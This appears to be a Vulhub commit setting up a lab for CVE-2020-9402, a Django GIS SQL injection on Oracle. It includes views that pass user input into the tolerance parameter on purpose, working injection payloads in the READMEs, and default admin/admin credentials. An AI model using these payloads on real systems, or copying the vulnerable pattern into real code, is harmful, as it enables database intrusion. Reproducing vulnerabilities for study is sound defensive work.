first commit
Some checks failed
Vulhub Format Check and Lint / format-check (push) Has been cancelled
Vulhub Format Check and Lint / markdown-check (push) Has been cancelled
Vulhub Docker Image CI / longtime-images-test (push) Has been cancelled
Vulhub Docker Image CI / images-test (push) Has been cancelled
Some checks failed
Vulhub Format Check and Lint / format-check (push) Has been cancelled
Vulhub Format Check and Lint / markdown-check (push) Has been cancelled
Vulhub Docker Image CI / longtime-images-test (push) Has been cancelled
Vulhub Docker Image CI / images-test (push) Has been cancelled
This commit is contained in:
4
django/CVE-2020-9402/.gitignore
vendored
Normal file
4
django/CVE-2020-9402/.gitignore
vendored
Normal file
@@ -0,0 +1,4 @@
|
||||
.idea/
|
||||
.DS_Store
|
||||
venv/
|
||||
__pycache__/
|
BIN
django/CVE-2020-9402/1.png
Normal file
BIN
django/CVE-2020-9402/1.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 204 KiB |
BIN
django/CVE-2020-9402/2.png
Normal file
BIN
django/CVE-2020-9402/2.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 218 KiB |
10
django/CVE-2020-9402/Dockerfile
Normal file
10
django/CVE-2020-9402/Dockerfile
Normal file
@@ -0,0 +1,10 @@
|
||||
FROM vulhub/django:3.0.3
|
||||
|
||||
COPY src/ /usr/src/
|
||||
COPY docker-entrypoint.sh /docker-entrypoint.sh
|
||||
RUN chmod +x /docker-entrypoint.sh
|
||||
|
||||
WORKDIR /usr/src
|
||||
ENTRYPOINT [ "/docker-entrypoint.sh"]
|
||||
|
||||
CMD [ "python", "manage.py", "runserver", "0.0.0.0:8000" ]
|
46
django/CVE-2020-9402/README.md
Normal file
46
django/CVE-2020-9402/README.md
Normal file
@@ -0,0 +1,46 @@
|
||||
# Django GIS functions and aggregates on Oracle SQL Injection (CVE-2020-9402)
|
||||
|
||||
[中文版本(Chinese version)](README.zh-cn.md)
|
||||
|
||||
Django is a high-level Python web framework that encourages rapid development and clean, pragmatic design.
|
||||
|
||||
Django released a security update on March 4, 2020, which fixes a SQL injection vulnerability in the GIS functions and aggregates on Oracle. This vulnerability affects Django versions before 3.0.4, 2.2.11, and 1.11.29.
|
||||
|
||||
The vulnerability requires the developer to use GIS functions and aggregates, and the field name of the queryset can be controlled by the user. This vulnerability can be exploited through Django's built-in admin interface.
|
||||
|
||||
References:
|
||||
|
||||
- https://www.djangoproject.com/weblog/2020/mar/04/security-releases/
|
||||
|
||||
## Environment Setup
|
||||
|
||||
Execute the following command to compile and start a vulnerable Django 3.0.3 server:
|
||||
|
||||
```
|
||||
docker compose build
|
||||
docker compose up -d
|
||||
```
|
||||
|
||||
After the server is started, you can access the Django home page at `http://your-ip:8000`.
|
||||
|
||||
## Vulnerability Reproduction
|
||||
|
||||
First, visit `http://your-ip:8000/vuln/`. You can inject SQL by adding malicious input to the `q` parameter:
|
||||
|
||||
```
|
||||
http://your-ip:8000/vuln/?q=20) = 1 OR (select utl_inaddr.get_host_name((SELECT version FROM v$instance)) from dual) is null OR (1+1
|
||||
```
|
||||
|
||||
The SQL error message will be displayed, confirming the successful injection:
|
||||
|
||||

|
||||
|
||||
Alternatively, you can visit `http://your-ip:8000/vuln2/` and inject SQL using a different payload:
|
||||
|
||||
```
|
||||
http://your-ip:8000/vuln2/?q=0.05))) FROM "VULN_COLLECTION2" where (select utl_inaddr.get_host_name((SELECT user FROM DUAL)) from dual) is not null --
|
||||
```
|
||||
|
||||
The SQL error message will again confirm the successful injection:
|
||||
|
||||

|
44
django/CVE-2020-9402/README.zh-cn.md
Normal file
44
django/CVE-2020-9402/README.zh-cn.md
Normal file
@@ -0,0 +1,44 @@
|
||||
# Django GIS函数和聚合中因容差参数导致SQL注入漏洞(CVE-2020-9402)
|
||||
|
||||
Django是一个高级的Python Web框架,支持快速开发和简洁实用的设计。
|
||||
|
||||
Django在2020年3月4日发布了安全更新,修复了在GIS查询功能中存在的Oracle SQL注入漏洞。该漏洞影响Django 3.0.4、2.2.11和1.11.29之前的版本。
|
||||
|
||||
该漏洞需要开发者使用了GIS中的查询功能,且用户可以控制查询集中的字段名。这个漏洞可以通过Django的内置管理界面进行利用。
|
||||
|
||||
参考链接:
|
||||
|
||||
- https://www.djangoproject.com/weblog/2020/mar/04/security-releases/
|
||||
|
||||
## 环境搭建
|
||||
|
||||
执行如下命令编译并启动一个存在漏洞的Django 3.0.3服务器:
|
||||
|
||||
```
|
||||
docker compose build
|
||||
docker compose up -d
|
||||
```
|
||||
|
||||
环境启动后,访问`http://your-ip:8000`即可看到Django默认首页。
|
||||
|
||||
## 漏洞复现
|
||||
|
||||
首先访问`http://your-ip:8000/vuln/`。通过向`q`参数添加恶意输入来注入SQL:
|
||||
|
||||
```
|
||||
http://your-ip:8000/vuln/?q=20) = 1 OR (select utl_inaddr.get_host_name((SELECT version FROM v$instance)) from dual) is null OR (1+1
|
||||
```
|
||||
|
||||
SQL错误信息将会显示,证实注入成功:
|
||||
|
||||

|
||||
|
||||
另外,你也可以访问`http://your-ip:8000/vuln2/`,使用不同的payload进行SQL注入:
|
||||
|
||||
```
|
||||
http://your-ip:8000/vuln2/?q=0.05))) FROM "VULN_COLLECTION2" where (select utl_inaddr.get_host_name((SELECT user FROM DUAL)) from dual) is not null --
|
||||
```
|
||||
|
||||
SQL错误信息将再次确认注入成功:
|
||||
|
||||

|
12
django/CVE-2020-9402/docker-compose.yml
Normal file
12
django/CVE-2020-9402/docker-compose.yml
Normal file
@@ -0,0 +1,12 @@
|
||||
version: '2'
|
||||
services:
|
||||
web:
|
||||
build: .
|
||||
ports:
|
||||
- "8000:8000"
|
||||
depends_on:
|
||||
- db
|
||||
restart: always
|
||||
db:
|
||||
image: vulhub/oracle:12c-ee
|
||||
restart: always
|
16
django/CVE-2020-9402/docker-entrypoint.sh
Normal file
16
django/CVE-2020-9402/docker-entrypoint.sh
Normal file
@@ -0,0 +1,16 @@
|
||||
#!/bin/bash
|
||||
|
||||
set -ex
|
||||
cd /usr/src
|
||||
|
||||
wait-for-it.sh -t 0 db:1521 -- echo "oracle is up"
|
||||
|
||||
python manage.py makemigrations
|
||||
python manage.py migrate
|
||||
python manage.py loaddata collection.json
|
||||
python manage.py shell -c "from django.contrib.auth.models import User; User.objects.create_superuser('admin', 'admin@vulhub.org', 'admin') if not User.objects.filter(username='admin').exists() else 0"
|
||||
|
||||
exec "$@"
|
||||
|
||||
|
||||
|
0
django/CVE-2020-9402/src/CVE20209402/__init__.py
Normal file
0
django/CVE-2020-9402/src/CVE20209402/__init__.py
Normal file
126
django/CVE-2020-9402/src/CVE20209402/settings.py
Normal file
126
django/CVE-2020-9402/src/CVE20209402/settings.py
Normal file
@@ -0,0 +1,126 @@
|
||||
"""
|
||||
Django settings for CVE20209402 project.
|
||||
|
||||
Generated by 'django-admin startproject' using Django 2.2.6.
|
||||
|
||||
For more information on this file, see
|
||||
https://docs.djangoproject.com/en/2.2/topics/settings/
|
||||
|
||||
For the full list of settings and their values, see
|
||||
https://docs.djangoproject.com/en/2.2/ref/settings/
|
||||
"""
|
||||
|
||||
import os
|
||||
|
||||
# Build paths inside the project like this: os.path.join(BASE_DIR, ...)
|
||||
BASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
|
||||
|
||||
|
||||
# Quick-start development settings - unsuitable for production
|
||||
# See https://docs.djangoproject.com/en/2.2/howto/deployment/checklist/
|
||||
|
||||
# SECURITY WARNING: keep the secret key used in production secret!
|
||||
SECRET_KEY = '+gwh3e_&fa_9m_1ttbvb#mzt3d$*o#hwg+vqdbaw@v)k7yn6(m'
|
||||
|
||||
# SECURITY WARNING: don't run with debug turned on in production!
|
||||
DEBUG = True
|
||||
|
||||
ALLOWED_HOSTS = ["*"]
|
||||
|
||||
|
||||
# Application definition
|
||||
|
||||
INSTALLED_APPS = [
|
||||
'django.contrib.admin',
|
||||
'django.contrib.auth',
|
||||
'django.contrib.contenttypes',
|
||||
'django.contrib.sessions',
|
||||
'django.contrib.messages',
|
||||
'django.contrib.staticfiles',
|
||||
'django.contrib.gis',
|
||||
'vuln',
|
||||
]
|
||||
|
||||
MIDDLEWARE = [
|
||||
'django.middleware.security.SecurityMiddleware',
|
||||
'django.contrib.sessions.middleware.SessionMiddleware',
|
||||
'django.middleware.common.CommonMiddleware',
|
||||
'django.middleware.csrf.CsrfViewMiddleware',
|
||||
'django.contrib.auth.middleware.AuthenticationMiddleware',
|
||||
'django.contrib.messages.middleware.MessageMiddleware',
|
||||
'django.middleware.clickjacking.XFrameOptionsMiddleware',
|
||||
]
|
||||
|
||||
ROOT_URLCONF = 'CVE20209402.urls'
|
||||
|
||||
TEMPLATES = [
|
||||
{
|
||||
'BACKEND': 'django.template.backends.django.DjangoTemplates',
|
||||
'DIRS': [],
|
||||
'APP_DIRS': True,
|
||||
'OPTIONS': {
|
||||
'context_processors': [
|
||||
'django.template.context_processors.debug',
|
||||
'django.template.context_processors.request',
|
||||
'django.contrib.auth.context_processors.auth',
|
||||
'django.contrib.messages.context_processors.messages',
|
||||
],
|
||||
},
|
||||
},
|
||||
]
|
||||
|
||||
WSGI_APPLICATION = 'CVE20209402.wsgi.application'
|
||||
|
||||
|
||||
# Database
|
||||
# https://docs.djangoproject.com/en/2.2/ref/settings/#databases
|
||||
|
||||
DATABASES = {
|
||||
'default': {
|
||||
'ENGINE': 'django.contrib.gis.db.backends.oracle',
|
||||
'NAME': 'orcl',
|
||||
'USER': 'system',
|
||||
'PASSWORD': 'oracle',
|
||||
'HOST': "db",
|
||||
'PORT': '1521',
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
# Password validation
|
||||
# https://docs.djangoproject.com/en/2.2/ref/settings/#auth-password-validators
|
||||
|
||||
AUTH_PASSWORD_VALIDATORS = [
|
||||
{
|
||||
'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator',
|
||||
},
|
||||
{
|
||||
'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator',
|
||||
},
|
||||
{
|
||||
'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator',
|
||||
},
|
||||
{
|
||||
'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator',
|
||||
},
|
||||
]
|
||||
|
||||
|
||||
# Internationalization
|
||||
# https://docs.djangoproject.com/en/2.2/topics/i18n/
|
||||
|
||||
LANGUAGE_CODE = 'en-us'
|
||||
|
||||
TIME_ZONE = 'UTC'
|
||||
|
||||
USE_I18N = True
|
||||
|
||||
USE_L10N = True
|
||||
|
||||
USE_TZ = True
|
||||
|
||||
|
||||
# Static files (CSS, JavaScript, Images)
|
||||
# https://docs.djangoproject.com/en/2.2/howto/static-files/
|
||||
|
||||
STATIC_URL = '/static/'
|
24
django/CVE-2020-9402/src/CVE20209402/urls.py
Normal file
24
django/CVE-2020-9402/src/CVE20209402/urls.py
Normal file
@@ -0,0 +1,24 @@
|
||||
"""CVE20209402 URL Configuration
|
||||
|
||||
The `urlpatterns` list routes URLs to views. For more information please see:
|
||||
https://docs.djangoproject.com/en/2.2/topics/http/urls/
|
||||
Examples:
|
||||
Function views
|
||||
1. Add an import: from my_app import views
|
||||
2. Add a URL to urlpatterns: path('', views.home, name='home')
|
||||
Class-based views
|
||||
1. Add an import: from other_app.views import Home
|
||||
2. Add a URL to urlpatterns: path('', Home.as_view(), name='home')
|
||||
Including another URLconf
|
||||
1. Import the include() function: from django.urls import include, path
|
||||
2. Add a URL to urlpatterns: path('blog/', include('blog.urls'))
|
||||
"""
|
||||
from django.contrib import admin
|
||||
from django.urls import path
|
||||
from vuln import views
|
||||
|
||||
urlpatterns = [
|
||||
path('admin/', admin.site.urls),
|
||||
path('vuln/', views.vuln),
|
||||
path('vuln2/', views.vuln2),
|
||||
]
|
16
django/CVE-2020-9402/src/CVE20209402/wsgi.py
Normal file
16
django/CVE-2020-9402/src/CVE20209402/wsgi.py
Normal file
@@ -0,0 +1,16 @@
|
||||
"""
|
||||
WSGI config for CVE20209402 project.
|
||||
|
||||
It exposes the WSGI callable as a module-level variable named ``application``.
|
||||
|
||||
For more information on this file, see
|
||||
https://docs.djangoproject.com/en/2.2/howto/deployment/wsgi/
|
||||
"""
|
||||
|
||||
import os
|
||||
|
||||
from django.core.wsgi import get_wsgi_application
|
||||
|
||||
os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'CVE20209402.settings')
|
||||
|
||||
application = get_wsgi_application()
|
46
django/CVE-2020-9402/src/collection.json
Normal file
46
django/CVE-2020-9402/src/collection.json
Normal file
@@ -0,0 +1,46 @@
|
||||
[
|
||||
{
|
||||
"model": "vuln.names",
|
||||
"pk": 1,
|
||||
"fields": {"name": "Example 1"}
|
||||
},
|
||||
{
|
||||
"model": "vuln.names",
|
||||
"pk": 21,
|
||||
"fields": {"name": "Example 2"}
|
||||
},
|
||||
{
|
||||
"model": "vuln.names",
|
||||
"pk": 41,
|
||||
"fields": {"name": "Example 3"}
|
||||
},
|
||||
{
|
||||
"model": "vuln.names",
|
||||
"pk": 61,
|
||||
"fields": {"name": "Example 4"}
|
||||
},
|
||||
{
|
||||
"model": "vuln.collection",
|
||||
"pk": 1,
|
||||
"fields": {
|
||||
"path": "SRID=4326;LINESTRING (-0.0348982214927673 0.00552803277111328, 0.0315910577774048 0.00638097523323931)"}
|
||||
},
|
||||
{
|
||||
"model": "vuln.collection",
|
||||
"pk": 21,
|
||||
"fields": {
|
||||
"path": "SRID=4326;LINESTRING (-0.00787362456321716 0.0426149328995521, -0.00715211033821105 -0.0137838719945693)"}
|
||||
},
|
||||
{
|
||||
"model": "vuln.collection2",
|
||||
"pk": 41,
|
||||
"fields": {
|
||||
"point": "SRID=4326;POINT (-0.008518695831298819 0.00583514570181413)"}
|
||||
},
|
||||
{
|
||||
"model": "vuln.collection2",
|
||||
"pk": 61,
|
||||
"fields": {
|
||||
"point": "SRID=4326;POINT (0.0153462588787079 0.00642254947271488)"}
|
||||
}
|
||||
]
|
21
django/CVE-2020-9402/src/manage.py
Normal file
21
django/CVE-2020-9402/src/manage.py
Normal file
@@ -0,0 +1,21 @@
|
||||
#!/usr/bin/env python
|
||||
"""Django's command-line utility for administrative tasks."""
|
||||
import os
|
||||
import sys
|
||||
|
||||
|
||||
def main():
|
||||
os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'CVE20209402.settings')
|
||||
try:
|
||||
from django.core.management import execute_from_command_line
|
||||
except ImportError as exc:
|
||||
raise ImportError(
|
||||
"Couldn't import Django. Are you sure it's installed and "
|
||||
"available on your PYTHONPATH environment variable? Did you "
|
||||
"forget to activate a virtual environment?"
|
||||
) from exc
|
||||
execute_from_command_line(sys.argv)
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
main()
|
0
django/CVE-2020-9402/src/vuln/__init__.py
Normal file
0
django/CVE-2020-9402/src/vuln/__init__.py
Normal file
7
django/CVE-2020-9402/src/vuln/admin.py
Normal file
7
django/CVE-2020-9402/src/vuln/admin.py
Normal file
@@ -0,0 +1,7 @@
|
||||
from django.contrib import admin
|
||||
from .models import Collection, Collection2
|
||||
|
||||
# Register your models here.
|
||||
|
||||
admin.site.register(Collection)
|
||||
admin.site.register(Collection2)
|
5
django/CVE-2020-9402/src/vuln/apps.py
Normal file
5
django/CVE-2020-9402/src/vuln/apps.py
Normal file
@@ -0,0 +1,5 @@
|
||||
from django.apps import AppConfig
|
||||
|
||||
|
||||
class VulnConfig(AppConfig):
|
||||
name = 'vuln'
|
15
django/CVE-2020-9402/src/vuln/models.py
Normal file
15
django/CVE-2020-9402/src/vuln/models.py
Normal file
@@ -0,0 +1,15 @@
|
||||
from django.contrib.gis.db import models
|
||||
|
||||
# Create your models here.
|
||||
|
||||
class Names(models.Model):
|
||||
name = models.CharField(max_length=128)
|
||||
|
||||
def __str__(self):
|
||||
return self.name
|
||||
|
||||
class Collection(Names):
|
||||
path = models.LineStringField()
|
||||
|
||||
class Collection2(Names):
|
||||
point = models.PointField()
|
3
django/CVE-2020-9402/src/vuln/tests.py
Normal file
3
django/CVE-2020-9402/src/vuln/tests.py
Normal file
@@ -0,0 +1,3 @@
|
||||
from django.test import TestCase
|
||||
|
||||
# Create your tests here.
|
27
django/CVE-2020-9402/src/vuln/views.py
Normal file
27
django/CVE-2020-9402/src/vuln/views.py
Normal file
@@ -0,0 +1,27 @@
|
||||
from django.shortcuts import render, HttpResponse
|
||||
from django.contrib.gis.geos import Point
|
||||
from django.contrib.gis.measure import D
|
||||
from django.contrib.gis.db.models.functions import Distance
|
||||
from django.contrib.gis.db.models import Union
|
||||
from .models import Collection, Collection2
|
||||
|
||||
# Create your views here.
|
||||
|
||||
def vuln(request):
|
||||
query = request.GET.get('q', default=0.05)
|
||||
qs = Collection.objects.annotate(
|
||||
d=Distance(
|
||||
Point(0.01, 0.01, srid=4326),
|
||||
Point(0.01, 0.01, srid=4326),
|
||||
tolerance=query,
|
||||
),
|
||||
).filter(d=D(m=1)).values('name')
|
||||
return HttpResponse(qs)
|
||||
|
||||
def vuln2(request):
|
||||
query = request.GET.get('q')
|
||||
qs = Collection2.objects.aggregate(
|
||||
Union('point', tolerance=query),
|
||||
).values()
|
||||
|
||||
return HttpResponse(qs)
|
Reference in New Issue
Block a user